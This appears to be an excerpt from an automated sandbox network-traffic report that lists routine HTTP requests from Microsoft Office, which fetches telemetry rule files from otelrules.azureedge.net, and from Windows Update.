Source: global traffic HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VU6KCf4Ml2TtAPc&MD=XYtDgPYB HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
